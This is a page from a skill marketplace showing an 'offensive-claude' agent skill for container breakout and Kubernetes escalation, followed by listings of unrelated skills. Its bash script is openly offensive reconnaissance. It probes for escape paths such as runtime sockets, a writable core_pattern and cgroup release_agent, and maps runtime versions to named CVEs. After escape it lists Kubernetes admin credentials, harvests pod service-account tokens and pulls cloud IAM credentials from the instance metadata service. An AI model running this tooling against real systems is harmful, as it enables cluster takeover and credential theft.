Skip to content

hypnguyen1209/offensive-claude / skills/container-k8s-escape

container-k8s-escape

Flagged

Use when breaking out of a container or escalating inside Kubernetes — runc/BuildKit CVEs, privileged/capability/cgroup misconfig escapes, NVIDIA GPU toolkit escape, K8s RBAC abuse, kubelet RCE, ingress/admission-controller RCE, node-to-cluster pivot

scripts/escape_enum.sh

View on GitHub
#!/usr/bin/env bash
# escape_enum.sh - In-container / post-escape enumeration for breakout opportunities.
#
# USAGE:
#   bash escape_enum.sh            # run INSIDE the target container (recon)
#   bash escape_enum.sh --node     # run AFTER escape, as root on the node (loot kube creds + IMDS)
#
# Dependencies: coreutils, awk, sed, grep. Optional: capsh, jq, crictl, curl (used if present).
# No writes to disk; read-only reconnaissance. Output is plain text to stdout.
set -u
H() { printf '\n==== %s ====\n' "$1"; }
have() { command -v "$1" >/dev/null 2>&1; }

NODE=0; [ "${1:-}" = "--node" ] && NODE=1

H "Identity / namespace"
id 2>/dev/null
echo "hostname: $(hostname 2>/dev/null)"
echo "container?: $(grep -qaE 'docker|kubepods|containerd|libpod' /proc/1/cgroup 2>/dev/null && echo yes || echo maybe-no)"
echo "pid1 exe: $(ls -la /proc/1/exe 2>/dev/null)"
echo "hostPID (pid1 is host init?): $(readlink /proc/1/exe 2>/dev/null | grep -qE '/(sbin/init|systemd)$' && echo LIKELY-YES || echo no)"

H "Capabilities"
if have capsh; then capsh --print 2>/dev/null
else
  capeff=$(grep CapEff /proc/self/status 2>/dev/null | awk '{print $2}')
  echo "CapEff=$capeff"
  # 0x1fffffffff / 0x3fffffffff => full caps == privileged
  case "$capeff" in *fffffffff) echo ">> FULL capability set -> likely --privileged";; esac
fi
for c in cap_sys_admin cap_sys_ptrace cap_sys_module cap_dac_read_search cap_dac_override; do
  have capsh && capsh --print 2>/dev/null | grep -qi "$c" && echo ">> DANGEROUS cap present: $c"
done

H "Dangerous mounts / sockets"
for s in /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock \
         /var/run/crio/crio.sock; do
  [ -S "$s" ] && echo ">> RUNTIME SOCKET mounted: $s  (host takeover possible)"
done
echo "-- mountinfo (hostPath / host fs / cgroup) --"
grep -E '(/|cgroup|/etc|/var/lib/kubelet|/proc|/dev/sd|/dev/nvme) ' /proc/self/mountinfo 2>/dev/null \
  | awk '{print $5, $9, $10}' | sort -u | head -40
[ -w /proc/sys/kernel/core_pattern ] && echo ">> /proc/sys/kernel/core_pattern is WRITABLE -> core_pattern escape"
( mount -t cgroup cgroup /tmp/.__c 2>/dev/null && echo ">> can mount cgroup-v1 -> release_agent escape" && umount /tmp/.__c 2>/dev/null; rmdir /tmp/.__c 2>/dev/null ) || true

H "Runtime versions (CVE triage)"
for b in runc docker containerd crictl buildctl buildkitd nvidia-ctk nvidia-container-cli; do
  have "$b" && echo "$b: $($b --version 2>/dev/null | head -1)"
done
echo ">> runc <=1.1.11 => CVE-2024-21626 ; runc <=1.2.7/1.3.2 => CVE-2025-31133/52565/52881"
echo ">> buildkit <=0.12.4 => CVE-2024-23651/52/53 ; nvidia-ctk <=1.17.7 => CVE-2025-23266"
ls -la /proc/self/fd/ 2>/dev/null | grep -E ' 7 | 8 | 9 ' && echo ">> probe fd 7/8/9 with runc_cwd_escape.py"

H "Kubernetes context"
SA=/var/run/secrets/kubernetes.io/serviceaccount
if [ -f "$SA/token" ]; then
  echo ">> ServiceAccount token mounted: $SA/token"
  echo "   namespace: $(cat "$SA/namespace" 2>/dev/null)"
  echo "   apiserver: https://${KUBERNETES_SERVICE_HOST:-?}:${KUBERNETES_SERVICE_PORT:-?}"
  echo "   -> run k8s_rbac_audit.py with this token"
fi
echo "kubelet :10250 reachable from here?"
have curl && curl -skm3 "https://${KUBERNETES_SERVICE_HOST:-127.0.0.1}:10250/pods" >/dev/null 2>&1 \
  && echo ">> kubelet :10250 responds -> kubelet_exec.py" || echo "   (no/blocked)"

H "Ingress-nginx version (IngressNightmare CVE-2025-1974)"
have curl && for ns in ingress-nginx kube-system; do
  curl -skm3 "https://ingress-nginx-controller-admission.$ns.svc:443/" >/dev/null 2>&1 \
    && echo ">> admission webhook reachable in ns=$ns (check controller <1.11.5/<1.12.1)"
done

if [ "$NODE" = "1" ]; then
  H "[NODE] kube credentials on disk"
  ls -la /etc/kubernetes/ 2>/dev/null
  for f in /etc/kubernetes/admin.conf /var/lib/kubelet/pki/kubelet-client-current.pem \
           /var/lib/kubelet/kubeconfig /etc/kubernetes/pki/etcd/server.key; do
    [ -e "$f" ] && echo ">> $f present"
  done
  H "[NODE] harvest pod SA tokens"
  find /var/lib/kubelet/pods -path '*/kubernetes.io/serviceaccount/token' 2>/dev/null | head -50
  H "[NODE] cloud IMDS"
  if have curl; then
    T=$(curl -sm2 -X PUT http://169.254.169.254/latest/api/token \
        -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' 2>/dev/null)
    [ -n "$T" ] && echo "AWS role: $(curl -sm2 -H "X-aws-ec2-metadata-token: $T" \
        http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)"
    curl -sm2 -H 'Metadata-Flavor: Google' \
       http://169.254.169.254/computeMetadata/v1/instance/service-accounts/ 2>/dev/null | head -3
  fi
fi
echo; echo "[*] enumeration complete"
writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deploymentStars: 322kUpdated Claude CodeCodexVerifiedInstall
xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved.Stars: 198kUpdated Claude CodeCodexVerifiedInstall
shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release.Stars: 118kUpdated Claude CodeCodexVerifiedInstall